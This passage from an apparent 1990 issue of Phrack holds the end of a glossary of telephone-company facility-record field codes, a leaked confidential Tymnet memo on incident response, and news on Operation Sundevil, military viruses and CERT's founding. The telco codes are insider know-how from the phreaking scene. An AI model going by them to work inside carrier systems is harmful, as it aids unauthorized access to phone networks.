     LLN=Line Link Net-1ESS
     LTN=Line Trunk Net-2ESS
     LU=Link Unit Module-5ESS
     QC=Quarter Choice-1XBAR
     SW=Switch-1XBAR
     VF=Vertical FIle-5XBAR
PR   Cable Pair ID
     PR YXXX
     Y=Alphanumeric
     XXX=Numeric
PRI  Frame Priority
     PRI XX
     XX=Two Numeric Characters
PRP  Permanent Cable Pair Remarks
```

```
     PRP XX...XX
     XX...XX=Maximum of 14 Alphanumeric Characters
PRZ  Preferred Rate Zone
     PRT X
     X=Numeric
PS   Previously Published/Non-published Facility Indicator
     PS X
     N=Non-Published
     !=Published
PT   Package Time
     PT XXX
     XXX=Three Numeric Characters
PTY  Party Number or Position
     PTY X
     X=1-4
PTY  Party Indicator
     PTY X
     R=Reserved
     O=Open
PWC  PREMIS Wire Center
     PWC XX...XX
     XX...XX=Maximum of 8 Alphanumeric Characters
PWC  Print Work Code
     PWC XXX
     NBT=No Back Tap
     COM=Frame Complete
     PBT=Print Back Tap
     RCT=Place Heat Coils on "TO" Pair
     RBT=Remove Back Tap
     RCF=Remove Heat Coils on "FROM" Pair
     VBT=Verify Back Tap
     USX=Locally Defined Codes (X=1-4)
RAP  Rotary Assignment Priority
     RAP X
     X=Numeric
RCT  Recent Change Type
     RCT XX
     1=1ESS Office
     1A=1AESS Office
     2=2ESS (LO1)
     2E=2ESS (EF1 and EF2)
     3=3ESS
     5T=5ESS
RCW  Recent Change Keyword
     RCW XX...XX
     XX...XX=Maximum of 20 Alphanumeric Characters
RD   Release Date
     RD MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
RDG  Message Register Reading
     RDG XXXX
     XXXX=Four Numeric Characters
REC  Record File Name and Number
     REC FFXXXXXX
     FF=File Name (Alphanumeric)
     XXXXXX=Record Number (Maximum of 6 Numeric Characters)
REP  Reprint Option
     REP X
     Y=Yes
     N=No
RESP Send a Solicited Response
     RESP X
     S=Solicited Response
REW  Rework Status
     REW X
     Y=Yes
     N=No
RLF  Re-using DIPs Upper Bound Load Factor
```

```
     RLF X
     X=1-9
RLO  Automatic Relay Assignment Present
     RLO X
     Y=Yes
     N=No
RLY  Miscellaneous Relay
     RLY XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
RMK  Remarks on Orders
     RMK XX...XX
     XX...XX=Maximum of 28 Alphanumeric Characters
RMKG Hunt Group Remarks
     RMKG XX...XX
     XX...XX=Maximum of 30 Alphanumeric Characters
RMKO Remarks on Office Equipment
     RMKO XX...XX
     XX...XX=Maximum of 12 Alphanumeric Characters
RMKP Remarks on Cable Pair
     RMKP XX...XX
     XX...XX=Maximum of 14 Alphanumeric Characters
RMKT Remarks on Telephone Number
     RMKT XX...XX
     XX...XX=Maximum of 14 Alphanumeric Characters
RNO  RSS Subentity Number
     RNO XX
     XX=01-63
RTI  Route Index
     RTI XXXX
     XXXX=Maximum of 4 Numeric Characters
RTYP Relay Type
     RTYP XXX
     TBA=Tens Block Auxiliary
     SC=Sleeve Connect
     AR=Advance
RTZ  Rate Zone
     RTZ X
     X=Numeric
RW   Recent Change Work
     RW X
     N=Recent Change Message not Required
     C=Recent Change Coordination Required
RZ   Resistance Zone
     RZ XX
     XX=Two Numeric Characters
SBS  Sub-status
     SBS X
     A=Area Transfer
     C=Cut Through
     D=Dedicated
     L=Cut Through and Dedicated
     !=Blank
SC   Sleeve Connect Relay
     SC SYY-ZZZ
     S=Marker Group (Numeric)
     YY=Number Group Frame (Numeric)
     ZZZ=Relay Number (Numeric)
SE   Special Service Equipment Number
     SE XX...XX
     XX...XX=Maximum of 52 Alphanumeric Characters
SET  Single Entity Tag
     SET X
     Y=CP is Served by a Single Entity on a Single Frame
     !=CP Can be Served by More Than One Entity
SG   Service Segment
     SG X
     B=Business
     C=Coin
     D=Data
     R=Residence
```

```
     S=Special
SGN  Common Language Segment Number
     SGN XXX
     XXX=Maximum of 3 Alphanumeric Characters
SIS  Special Identifying Telephone Number Supplement
     SIS XXXX
     XXXX=Maximum of 4 Numeric Characters
SIT  Special Identifying Telephone Number
     SIT XXX-YYY-XXXX
     X=Numeric
     Y=Numeric
SK   Skip Option
     SK X
     X=0 or 2-9
SN   Sequence Number
     SN XXX
     XXX=1-999
SOB  Service Observing Tag
     SOB XXX
     XXX=YES or NO
SS   Suspension Status
     SS XX
     DB=Deny Both Ways
     DI=Deny Incoming
     DO=Deny Outgoing
     RS=Restore Suspended Circuit
     SB=Suspend Both Ways
     SD=Season Disconnect
     SI=Suspend Incoming
     SO=Suspend Outgoing
     DX=Deny Toll Access Tervice
SSV  Suspend Service Type
     SSV XX
     DO=Deny Outward Service
     DB=Deny Both Outward and Inward Service
     DX=Deny Toll Access Service
     RS=Restore Denied Service
STAT Order Status
     STAT XX
     AC=Pending With no Framd or Installation Completion
     FC=Pending With Frame Completion but no Installation Completion
     IC=Pending with Installation Complation but no Frame Completion
     CC=Completed Orders
     CA=Canceled Orders
STAT Facility Status
     STAT XX
     AS=All Spare
     EX=Excluded
     PC=Pending Connect
     RS=Reserved
     SF=Spare Facility
     UK=Unknown
     WK=Working
STAT Load Group Status
     STAT XX
     EX=Blocked from all Assignments
     FU=Open for Dial Transfer Assignments Only
     PS=Pseudo LEN Assignments Only
     SO=Open for Service Orders and Work Orders Only
     WK=Open for All Assignments
STO  Line Equipment Status
     STO XX
     AW=All Working
     MS=Miscellaneous
     OF=Official
     TJ=Trunk and Junctor
     TS=Test
     WK=Working
     PD=Pending Disconnect
     PK Pending Disconnect/Pending New Connect
```

```
     AS=All Spare
     EX=Excluded
     LI=Left-in Disconnect
     RS=Reserved
     SF=Spare
     UK=Unknown
     PC=Pending Connect
STP  Cable and Pair Status
     STP XX
     AL=All Pairs
     AD=All Defective
     AP=All Provisioned
     AW=All Working
     DC=Designed Circuit
     DI=Defective (I=1-9)
     DM=Designed + SSM
     DP=Designed + SSP
     SM=Special Safeguard Measures
     SP=Special Safeguard Protection
     SS=Special Status
     WK=Working
     AS=All Spare
     EX=Excluded
     LI=Left-in Disconnect
     RS=Reserved
     SF=Spare
     UK=Unknown
     PC=Pending Connect
     PD=Pending Disconnect
STT  Telephone Number Status
     STT XX
     AU=Auxiliary
     AW=All Working
     MS=Miscellaneous
     NP=Non-published
     OF=Official
     TJ=Trunk and Junctor
     TS=Test
     WK=Working
     AS=All Spare
     AV=Available
     CM=Changed-Machine Intercept
     CO=Changed-Operator Intercept
     DM=Disconnected-Machine Intercept
     DO=Disconnected-Operator Intercept
     EX=Excluded
     RS=Reserved
     SF=Spare
     UK=Unknown
     PC=Pending Connect
     PD=Pending Disconnect
     PK=Pending Disconnect/Pending New Connect
SUBL Sublet Service
     SUBL XXX-XXXX
     XXX-XXXX=Telephone Number
SWC  Set Work Code
     SWC XXX
     (See Print Work Code)
SWG  Switch Group
     SWG X
     X=0-2
SYS  Machine Number
     SYS XX...XX
     XX...XX=Maximum of 12 Alphanumeric Characters
TA   Transfer Assembly
     TA X
     Y=Yes
     N=No
TAP  Touchtone Assignment Priority Number
     TAP X
```

```
     X=Numeric
TBA  TBA Relay
     TBA XYY-ZZZ
     X=Marker Group Number (Numeric)
     YY=Number Group Frame (Numeric)
     ZZZ=Relay Number (Numeric)
TBS  TBS Relay
     TBS XZ-NN
     X=Marker Group Number (0-9)
     Z=Relay Number (0-3)
     NN=Ringing Combination (01-16)
TC   TO Cable
     TX XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
TER  Terminal
     TER XXXX
     XXXX=Maximum of 4 Numeric Characters
TER  Terminal Number
     TER Y-XXXX-ZZZZ
     Y=Control Group (Alphanumeric)
     XXXX=Group Number (Numeric)
     ZZZZ=Terminal Number (Numeric)
THG  Thousands Group
     THG X or
     THG XXXX
     X=0-9
     XXXX=0000,1000,...,9000
TK   Trunk Cable and Pair Number
     TK YYYYYY-XXXX
     YYYYYY=Cable ID (Maximum of 6 Alphanumeric Characters)
     XXXX=Cable Pair ID (Maximum of 4 Numeric Characters)
TLI  Telephone Line Identifier
     TLI XXX-YYY-XXXX
     X=Numeric
     Y=Alphanumeric
TN   Telephone Number
     TN XXX-XXXX
     XXX-XXXX=Telephone Number
TOM  Two or More Non-pending, Non-party Filtered Circuit Facilities
     TOM XX
     CP=Cable Pair
     TN=Telephone Number
     OE=Office Equipment
TP   Tie Pair
     TP YY...YY-XXXX
     YY...YY=Cable ID (Maximum of 10 Alphanumeric Characters)
     XXXX=Tie Pair ID (Maximum of 4 Numeric Characters)
TPR  Taper Code
     TPR XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
TRE  Transmission Equipment
     TRE XX...XX
     XX...XX=Maximum of 17 Alphanumeric Characters
TT   Telephone Number Type
     TT X
     B=POTs Hunting
     C=Coin
     G=Complex Service (Direct Inward Dialing, Radio Common Carrier, etc)
     O=Official
     Q=Centrex
     X=POTx Non-hunting
TTA  Terminating Traffic Area
     TTA XXX
     XXX=Maximum of 3 Alphanumeric Characters
TYP  Switching Type
     TYP XXX
     1ES=Number 1ESS
     2ES=Number 2ESS
     3ES=Number 3ESS
     5ES=Number 5ESS
```

```
     RSS=Remote Switching System
     1XB=Number 1 Cross-bar
     5XB=Number 5 Cross-bar
     SXS=Step-by-step
     DMX=DMS-10
     DMC=DMS-100
US   USOC
     US XXXXX
     XXXXX=Maximum of 5 Alphanumeric Characters
USE  Entity Usage
     USE X
     G=Growth
     S=Stable
VAL  Minimum Valid Hours for Entity Data
     VAL XX
     XX=1-99
WC   Wire Center
     WC XX
     XX=Alphanumeric
WL   Work Location
     WL Y
     Y=1-8    or
     WL XXX
     ADM=Administrative
     ACT=Assignment Change Ticket
     CPC=Special Service Circuits
     MCT=Maintenance Change Tickets
WPN  Work Package Number
     WPN XXXX
     XXXX=1-9999
WPT  Work Package Type
     WPT XXX
     XXX=Maximum of 3 Alphanumeric Characters
XN   "X" Number
     XN XXX-YYXX  or
     XN XXX-YXX
     X=Numeric
     Y=Alphanumeric
ZN   Zone Location
     ZN XXX
     XXX=001-999
================================================================================
```

ACKNOWLEDGEMENTS
Skinny Puppy for refreshing my memory
The Urvile for the "$*" file and further usage of echo
Bell Laboratories OPA-1Y600-01

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #7 of 10

COMPANY CONFIDENTIAL
INTERIM MEMORANDUM

SUBJECT: TYMNET SUPPORT FOR CUSTOMER'S DATA SECURITY

PURPOSE: This document provides background, and general procedures and practices used to support customers with suspected security problems. Field Sales is the intended audience but is a general document and may be useful to other customer support personnel. Currently, this document is in a final review. Meanwhile, it is to retain the status of an internal proprietary document.

BACKGROUND: BT Tymnet Inc, and its Network Systems Company, believe information integrity is vital to ourselves and our customers. One way TYMNET insures integrity is by providing good security. TYMNET has a baseline security of user name, password, and user access profile available for all customers. Further, there are two security products. One permits the customer to limit password life (password automatically expires after a customer elected time period) and the other permits the end user to change his/her own password. Since we do consider security a key issue, we continue to develop other security features. Also, we work with Security vendors to certify their security products on our network, thus permitting customers to add such products, should they so desire.

We have established Network Systems Company Policies which provide a framework for the information contained herein (see NSC Policy 121 and 122. More policies are in distribution as of this writing). It is highly recommended that these policies be reviewed since they represent the framework of this document.

Legal considerations are another key issue in any security case. Support, other then providing the customer with related security data, can only occur if law(s) have been broken. The legal issues are complex and only a minimal information is provided herein. At at the heart of this issue is the fact that the customer is the injured party, not TYMNET. Patience and good communication may be required to get the customer to understand this fact. The customers must act for themselves to obtain law enforcement support. TYMNET will support that activity, and help to the degree possible, much as a "friend of the court".

THE SUPPORT: We provide security support as a responsible network service provider. The first step in that support is for the field sales representative to act as a security consultant to the customer, at least to the extent explained below.

The customer is well advised to plan in advance "what to do when Captain Midnight strikes" -- contingency planning, pure simple. First there are two basic alternatives to choose from:

PROTECT AND PROCEED
OR
PURSUE AND PROSECUTE

"Protect and proceed" means 1) determine how the incident occurred, 2) plug the security leak/hole, and 3) go on with business as normal.

(Do we want written notification of the Intent to "Pusue and Prosecute" from the "Injured Party?").

"Pursue and prosecute" is just that. The first step is having the customer obtain legal support, and both we and the customer continue to gather evidence until the suspect is apprehended. The next step is the prosecution in a court of law. (The final step is to return to the first alternative, e.g., now protect and proceed.)

The customer needs to judge each case on its own merits, but generally the first choice is the wiser one. The second choice involves considerable effort, mostly by the customer and law enforcement agency(s), possible negative publicity for the customer and does not necessarily result in successful prosecution. Good contingency planning also includes becoming familiar with the laws and the local law enforcement people.

The starting point is a suspected incident. Herein, we will address the case where the customer has identified a suspected intruder.

Generally, that occurs by a customer's detailed review of billing or host based security exception reports.

At this point it is essential the field sales representative open a ticket containing at least the following: 1) customer name and CID, 2) host(s) involved, 3) incident start and stop times, and 4) the customer's objective. Add any other information deemed helpful.

Other support may be an on-line trace of the call, if the suspect is currently on-line. Field support should do this trace, or alternately, this same help can be obtained by calling network customer support and/or NetCon. In any case it must be done while the suspect is on-line. Such trace information should be included on the ticket.

Based on the customer's position; the case will fit either "prevent and proceed" or, "pursue and prosecute". The former is straight forward, in that TYMNET security will research the incidents(s), and provide data (generally user name and point of origin(s) to the customer via Field Sales, with recommendations on how to prevent any further occurrence. We do provide this service as a responsible vendor, although strict interpretation of NSC policy 121 precludes it. However, we do apply the policy if a customer continues to ask for data without taking preventative action.

The "pursue and prosecute" case is complex, and is different for each situation. It will be explained by using a typical scenario. After the first step (as above), it is necessary to gather data sufficient to show a pattern of intrusion from a single TYMNET access point. With this information, the customer (the injured party) must contacts law enforcement agency(s), with the one exception noted below.

If that intrusion point is through a gateway from a foreign country, for all practical purposes, the customer can do little to prosecute. The law(s) of the foreign country will apply since extradition is most unlikely. Therefore, action will have to be have to be initiated by the network service provider in the foreign country. In this case, TYMNET security will have MIS research the session details to obtain the Network User Identifier, and External Network Support (Jeff Oliveto's organization) will communicate that information to the foreign network for their action (cases involving U.S. government computers may get special treatment - see for example - Communications of the ACM, May, 1988, article on "Stalking the Wiley Hacker").

Most all security incidents on our network are caused by international hackers using X.121 addressing. Frequently, our customer is unaware of the risk of X.121 addressing, and permits it. BE SURE YOUR CUSTOMERS KNOW THAT THEY CAN CHOOSE FULL TYMNET SECURITY FEATURES, THEREBY PRECLUDING SUCH INTRUSIONS FROM X.121 ADDRESSING FROM FOREIGN NETWORKS.

For the domestic case, the customer gets law enforcement (attorney general at incoming call location, secret service if credit card fraud is involved, or possibly the FBI, depending on the incident) to open a case. Note, damage in estimated dollars is usually necessary to open a case, and many agencies will not take action on small claims. For example, as of December, 1988, the Los Angeles Attorney will not open a case for less than $10,000 (they have too big a caseload at higher damages).

Assuming legal support is provided, a court order for a wire tap and trace will be obtained, thereby determining the caller's phone number (this step can be very involved and time consuming for long distance calls). The next legal action occurs after the calling number is identified. A search warrant is obtained for searching the facility housing the phone location. Normally, this search will gather evidence sufficient for prosecution. Evidence is typically the necessary terminal equipment, printouts, diskettes, etc. Then, at long last the prosecution. Also note, again at the time the calling number is identified, the injured party should use the "protect and proceed" plan.

For further information, contact Data Security, TYMNET Validations, or Ontyme NSC.SECURITY.

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #8 or 10

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN              Phrack World News              PWN
PWN             Issue XXXI, Part One            PWN
PWN         Compiled by Phreak_Accident         PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Operation "Sun-Devil"
=====================

May 9th and 10th brought on two day thats would be marked in every hackers history book. The reason we assume these days will be important to many, is that maybe it's time we opened are eyes and saw the witch hunt currently in progress.

In less than 48 hours, 150 Secret Service men and other law officials served 30 search warrents in 14 cities around the nation (This thing was hudge).

Operation "Sun-Devil" (As the Attorney General in Phoenix called it), was a success on their part. "The investigation though is not over, and there are more warrents to be executed.", said Jim Folwer of L.A's Secret Service.

Any details of the investigation are not being given out at this time. The Asst. Attorney General of Pheonix told Phrack Inc. that there were other problems involving the investigation and that it was an ongoing investigation for the last TWO years.

It is my understanding that Gail Thackeray and the Secret Service are not, taking this lightly. She told Phrack inc. that they are not distinquishing pirates, hackers, or phreakers. Basically, it's any kid with a modem that calls a BBS with an alias. Yes, we are the witches, and we are being hunted.

The following are Two news releases obtianed via fax through the U.S. Secret Service for Phrack Inc.

N E W S R E L E A S E

FOR IMMEDIATE RELEASE

May 9, 1990 @ 11:00 A.M.

CONTACT: Gail Thackeray
Assitant Attorney General
(602) 542-4266

Attorney General Bob Corbin announced today that in connection with an eighteen-month joint investigation into computer crime conducted with the United States Secret Service and the United States Attorney's office, the Arizona Attorney General's office has executed seven search warrants in which computers, electronic bulletin boards, telephone test equipment and records have been seized.

The Organized Crime and Racketeering Division investigation involved complaints by Arizona and out of state victims of substantial financial losses resulting from credit card fraud and theft of long distance telephone and data communications services, and by victims of attacks on computer systems operated by government agencies, private corporations, telephone companies, financial institutions, credit bureaus, and a hospital.

The Arizona Attorney General's office received information and technical assistance from the Glendale, Arizona Police Department's Computer Crime Unit, and from many private sector sources, including Bellcore (Bell Communications Research), American Express, Communications carriers U.S. Sprint, AT&T, MCI, Com Systems, MidAmerican Communications, LDL Communications, and Shared Use Network. Without the cooperation of these companies and of numerous federal, state and local law enforcement agencies around the country, this investigation would have been impossible.

The privacy of our citizens and the health of our economy depend upon secure, reliable computer systems. Computer fraud and attempts to compromise senstitive public and private computer systems will not be tolerated. Individuals who commit these offenses in Arizona can expect to be prosecuted.

.end.

P R E S S R E L E A S E

FOR IMMEDIATE RELEASE
Wednesday, May 9, 1990

Contact: Wendy Harnagel
United States Attorney's Office
(602) 379-3011

PHOENIX -- Stephen M. McNamee, United States Attorney District of Arizona, Robert K. Corbin, Attorney General for the State of Arizona, and Henry R. Potosky, Acting Special Agent in Charge of the United States Secret Service Office in Phoenix, today announced that approximately twenty-seven search warrants were executed on Monday and Tuesday, May 7 and 8, 1990, in various cities across the nation by 150 Secret Service agents along with state and local law enforcement officials. The warrants were issued as a part of Operation Sundevil, which was a two year investigation into alleged illegal computer hacking activities.

The United States Secret Service, in cooperation with the United States Attorney's Office, and the Attorney General for the State of Arizona, established an operation utilizing sophisticated investigative techniques, targeting computer hackers who were alleged to have trafficked in and abuse stolen credit card numbers, unauthorized long distance dialing codes, and who conduct unauthorized access and damage to computers. While the total amount of losses cannot be calculated at this time, it is estimated that the losses may run into the millions of dollars. For example, the unauthorized accessing of long distance telephone credit cards have resulted in uncollectible charges. The same is true of the use of stolen credit card numbers. Individuals are able to utilize the charge accounts to purchase items for which no payment is made.

Federal search warrants were executed in the following cities:

Chicago, IL
Cincinatti, OH
Detroit, MI
Los Angeles, CA
Miami, FL
Newark, NJ
New York, NY
Phoenix, AZ
Pittsburgh, PA
Plano, TX
Richmond, VA
San Diego, CA
San Jose, CA

Unlawful computer hacking imperils the health and welfare of individuals, corporations and government agencies in the United States who rely on computers and telephones to communicate.

Technical and expert assistance was provided to the United States Secret Service by telecommunication companies including Pac Bel, AT&T, Bellcore, Bell South, MCI, U.S. Sprint, Mid-American, Southwestern Bell, NYNEX, U.S. West, and by the many corporate victims. All are to be commended for their efforts for their efforts in researching intrusions and documenting losses.

McNamee and Corbin expressed concern that the improper and alleged illegal use of computers may become the White Collar crime of the 1990's. McNamee and Corbin reiterated that the state and federal government will vigorously pursue criminal violations of statutes under their jurisdiction. Three individuals were arrested yesterday in other jurisdictions on collateral or independent state charges. The investigations surrounding the activities of Operation Sundevil are continuing.

The investigations are being conducted by agents of the United States Secret Service and Assistant United States Attoryney Tim Holtzen, District of Arizona, and Assistant Arizona Attorney General Gail Thackery.

.end.

Virus mania
==========

Robert T. Morris started it all. Who cares, it's over and done with. Never the less, it's being dragged out in every national paper. It's old news so we won't cover it here, but we will tell you about something the Army has up its sleeve.

Army is Looking for a Few Good Viruses
By Rory J. O'conner
Knight-Ridder Newspapers

The U.S. Army is looking for help to develop the seeds of a new-age germ warfare: It wants business to help it turn computer "viruses" into military weapons.

Experts predict the viruses, if sucessfully developed, could be used to wreak havoc on the increasing number of computers in the battlefield. The destructive computer programs which have increasingly damaged commercial and research computer systems in the past four years, could be used to disrupt military communications and feed misleading data to enemy commanders.

The viruses could aslo be used to alter the programming of crucial communications satellites serving combat units, the experts said.

The Army is soliciting bids from small businesses to determine the feasibility of using computer viruses in warefare. And it is willing to pay up to $550,000 to a company that comes up with a plan for creating the programs - and figures out how to use military radio systems to introduce them into enemy computers.

A computer virus is a kind of program designed to disrupt normal operation of a computer system or damage data ont hat system by altering or destroying it. The rogue programs are most effective when introduced secretly into the computer system of an unsuspecting user and when their damage is subtle or hidden fromt he user for some time.

Viruses are also self-duplicating and can spread undetected from an infected computer to other computer systems they contact.

So far, more than 60 computer viruses have been identified, most of them attacking poorly guarded personal computers used by businesses, universities and inividuals. The Army's virus would have to be more sophisticated than those programs.

But some detractors of the concept say the Army could wind up with the same problem it has with biological weapons: Creating destructive elements that might get loose and cause widespread damage to its own forces as well as civilians.

"This stuff is very dangerous, and most people involved in creating viruses are not aware of the threat," said a Bay Area virus expert who asked ot to be named. "You can't spread anthrax around the world and not have it come back around to you. And the enemy is using the same kind of computers and software that we are."

Many experts who are fighting the explosion in virus activity by amateur programmers are especially angry at government efforts to develop the programs for the military. Some say it is particulary troubling in light of the sentencing of Robert T. Morris Jr. (Ed -Ick), convicted in federal court of sending a similar program through a government sponsored network in 1988.

"It bothers me that the government says in one breath (viruses) are bad and illegal and then asks for someone to develop them," said Glenn Tenney, a San Mateco, Calif., programmer and organizer of the annual Computer Hackers Conference. "If Morris had done the same thing for the Army, they'd have paid him hundreds of thousands to do it. But he did it on the wrong side and got punished."

Computer experts say creating a virus to the Army's specifications is possible with current technology - although some of the Army's requirements could make developing it more difficult than creating an ordinary personal computer virus.

First, military computer systems are usually designed with far more security features than commercial systems, making it much harder for a virus to enter the systems. Second, the Army is emphasizings the use of radio communication to inject the virus into enemy systems. Normally, computer viruses spread through the exchange of floppy disks that contain the rogue program or along wires connecting several computers. Using complex military radio signals instead would require expertise that mose programmers don't have.

.end

RIPCO May 8th, 1990

Operation Sun-Devil claimed more than just a few "Codelords" around the states, it claimed one of the oldest and more popular boards. Nobody knows when or if RIPCO shall return.

Reportedly, Dr. Ripco was charge on a hand-gun violation after his house was searched. Phrack inc. can't comment on this.

The following is the exact transcript of the message left on RIPCO's answering maching after Operation Sun-Devil.

- -

This is 528-5020.
As you are probably aware, on May 8, the Secret Service conducted a series of raids across the country. Early news reports indicate these raids involved people and computers that could be connected with credit card and long distance toll fraud. Although no arrests or charges were made, Ripco BBS was confiscated on that morning. It's involvement at this time is unknown. Since it is unlikely that the system will ever return, I'd just l say goodbye, and thanks for your support for the last six and a half years. It's been interesting, to say the least.
Talk to ya later.
{Dr. Ricpo}

*** END OF VOICE MESSAGE ***

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #9 of 10
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN Phrack World News PWN
PWN Issue XXXI, Part Two PWN
PWN Compiled by Phreak_Accident PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

{C}omputer {E}mergency {R}esponse {T}eam

Some call it "Internet Police" -- Others call it "just stupid." CERT however is a mix. But I do give them credit -- After all, have your number one goal being 'making the Internet more secure' has to be a tough task. Therefore, we give them credit.

However, CERT is funded by DARPA, which is a government agency. And anything in my book that the government runs is bad news. Yes, the government pays the 6 man salary and keep their hot-line active 24 hours a day.

Ahh.. What do you know about CERT? "Nothing" you say? Well, the following is the press release and other reprints of information about CERT.

- -

Richard Pethia <rdp@SEI.CMU.EDU>
DEAR XXXXXXXXX,
I have been reviewing our correspondence files and have discovered that your request for information may not have been filled. I apologize for the delay and hope that the information is still useful to you. If, after reading the following, you have additional questions or would like to subscribe to one of our information lists, please send email with your question/request.
The Computer Emergency Response Team (CERT) was established by the Defense Advanced Research Projects Agency in November of 1988 to serve members of the Internet Research community. The press release below describes the general role of the CERT.
More specifically, the CERT supports individual Internet sites by:

- -Working with site personnel to help resolve individual computer security incidents. Contact potentially affected sites to warn them of possible security breaches. Work with sites to change the conditions that allowed incidents to occur.
- -Issuing advisories that alert the community to specific system vulnerabilities or intrusion techniques, as well as the methods to protect against them.
- -Working with the community and system (primarily Unix) vendors to reslove specific system vulnerabilities.
- -Maintaining and operating moderated mailing lists that: (1) provide a discussion forum for tools and techniques to improve the security of Unix systems, and (2) provide a discussion forum and alert mechanism for PC viruses, trojan horses, etc.

Over the past year we have developed hundreds of working relationships with members of the Internet and other communities and have established an extensive information collection and dissemination network. Because of this network of cooperating individuals and organizations, we are often able to advise the community of problems allowing them to take corrective action before being affeceted by those problems.

No. 597-88
(202) 695-0192 (Info.)
(202) 697-3189 (Copies)
IMMEDIATE RELEASE December 6, 1988 (202) 697-5737
(Public/Industry)

DARPA ESTABLISHES COMPUTER EMERGENCY RESPONSE TEAM

The Defense Advanced Research Projects Agency (DARPA) announced today that it has established a Computer Emergency Response Team (CERT) to address computer security concerns of research users of the Internet, which includes ARPANET. The Coordination Center for the CERT is located at the Software Engineering Institute (SEI), Carnegie Mellon University, Pittsburgh, PA.
In providing direct service to the Internet community, the CERT will focus on the special needs of the research community and serve as a

prototype for similar operations in other computer communities. The National Computer Security Center and the National Institute of Standards and Technology will have a leading role in coordinating the creation of these emergency response activities.

The CERT is intended to respond to computer security threats such as the recent self-replicating computer program ("computer virus") that invaded many defense and research computers.

The CERT will assist the research network communities in responding to emergency situations. It will have the capability to rapidly establish communications with experts working to solve the problems, with the affected computer users and with government authorities as appropriate. Specific responses will be taken in accordance with DARPA policies.

It will also serve as a focal point for the research community for identification and repair of security vulnerabilities, informal assessment of existing systems in the research community, improvement to emergency response capability, and user security awareness. An important element of this function is the development of a network of key points of contact, including technical experts, site managers, government action officers, industry contacts, executive level decision-makers and investigative agencies, where appropriate.

Because of the many network, computer, and systems architectures and their associated vulnerabilities, no single organization can be expected to maintain an in-house expertise to respond on its own to computer security threats, particularly those that arise in the research community. As with biological viruses, the solutions must come from an organized community response of experts. The role of the CERT Coordination Center at the SEI is to provide the supporting mechanisms and to coordinate the activities of experts in DARPA and associated communities.

The SEI has close ties to the Department of Defense, to defense and commercial industry, and to the research community. These ties place the SEI in a unique position to provide coordination support to the software experts in research laboratories and in industry who will be responding in emergencies and to the communities of potentially affected users.

The SEI is a federally-funded research and development center, operating under DARPA sponsorship with the Air Force Systems Command (Electronic Systems Division) serving as executive agent. Its goal is to accelerate the transition of software technology to defense systems. Computer security is primarily a software problem, and the presence of CERT at the SEI will enhance the technology transfer mission of the SEI in security-related areas.

-END-

QUESTIONS AND ANSWERS: DARPA ESTABLISHES CERT, 12/6/88

Q: Can you provide background on earlier break-ins?

A: On November 2, 1988, thousands of computers connected to unclassified DoD computer networks were attacked by a virus. Although the virus did not damage or compromise data, it did have the effect of denying service to thousands of computer users. The computer science research community associated with the Defense Advanced Research Projects Agency (DARPA), along with many other research laboratories and military sites that use these networks, quickly responded to this threat. They developed mechanisms to eliminate the infection, to block the spread of the self-replicating program, and to immunize against further attack by similar viruses. Software experts from the University of California at Berkeley, with important contributions from the Massachusetts Institute of Technology and other network sites, rapidly analyzed the virus and developed immunization techniques. These same software experts also provided important assistance in the more recent Internet intrusion of 27-28 November.

As the events unfolded, DARPA established an ad hoc operation center to help coordinate the activities of software experts working around the clock and to provide information to appropriate government officials. The operations center had three main tasks. It facilitated communications among the many groups affected, it ensured that government organizations were promptly informed of developments, and it provided initial technical analysis in DoD. Although the threat was contained quickly, a more maliciously designed virus could

have done serious damage.
The recent events serve as a warning that our necessarily increasing reliance on computers and networks, while providing important new capabilities, also creates new kinds of vulnerabilities. The Department of Defense considers this an important national issue that is of major concern in both the defense and commercial sectors. The DoD is developing a technology and policy response that will help reduce risk and provide an emergency reaction response.
Q: Who will be on the CERT?
A: The CERT will be a team of over 100 experts located throughout the U.S. whose expertise and knowledge will be called upon when needed. When not being called upon, they will continue their normal daily work. As noted in the release, these experts will include: technical experts, site managers, government action officers, industry contacts, executive-level decision-makers and representatives from investigative agencies.
recommendations that will be acted upon by DoD authorities.
Q: Is the CERT fully operational now?
A: We are in the very early stages of gathering people for the CERT. We are first concentrating on collecting technical experts. A staff is in place at SEI, but details are still being worked out.
Q: Will there just be one CERT?
A: The intent is that each major computer community may decide to establish its own CERT. Each CERT will therefore serve only a particular community and have a particular technical expertise. (The DARPA/SEI CERT will serve, for example, the research community and have expertise in Berkeley-derived UNIX systems and other systems as appropriate.) The National Computer Security Center and the National Institute of Standards and Technology will support the establishment of the CERTs and coordinate among them.
Q: What are the special needs of the research community that their CERT will serve?
A: The special challenge of the research community is improving the level of computer security without inhibiting the innovation of computer technology. In addition, as is often DARPA's role, their CERT will serve as a prototype to explore the CERT concept so that other groups can learn and establish their own.
Q: Does the CERT Coordination Center have a press point of contact?
A: No. Their function is to serve as a nerve center for the user community.
.end

USA Today and the devil

Many controversies have been made of the article printed in USA Today after Operation Sun-Devil took it's toll.

Phrack inc. tried to contact the author, and with no luck she wasn't accepting phone calls. Please remember, this is only a USA Today article -- C'mon, get real USAT.

- -

byline 'Debbie Howlett, USA Today' reads:
A network of computer hackers operating in 14 cities -- which bilked phone companies of $50 million -- has been unplugged, police say.
"We're not talking about somebody who played Space Invaders too many times," says Tim Holtzen, spokesman for the U.S. attorney in Phoenix.
The hackers -- the largest such ring discovered in the USA --broke into phone company and bank computer systems to obtain account numbers and run up an unknown total in debts, police say.
"The main thing is the life-threatening information these computer hackers were trying to get into," says Richard Adams of the Secret Service. "It goes beyond being monetary to totally mischievous."
The ring was uncovered 18 months ago, when members tried and failed to infiltrate computers at Barrows Neurological Institute in Phoenix.
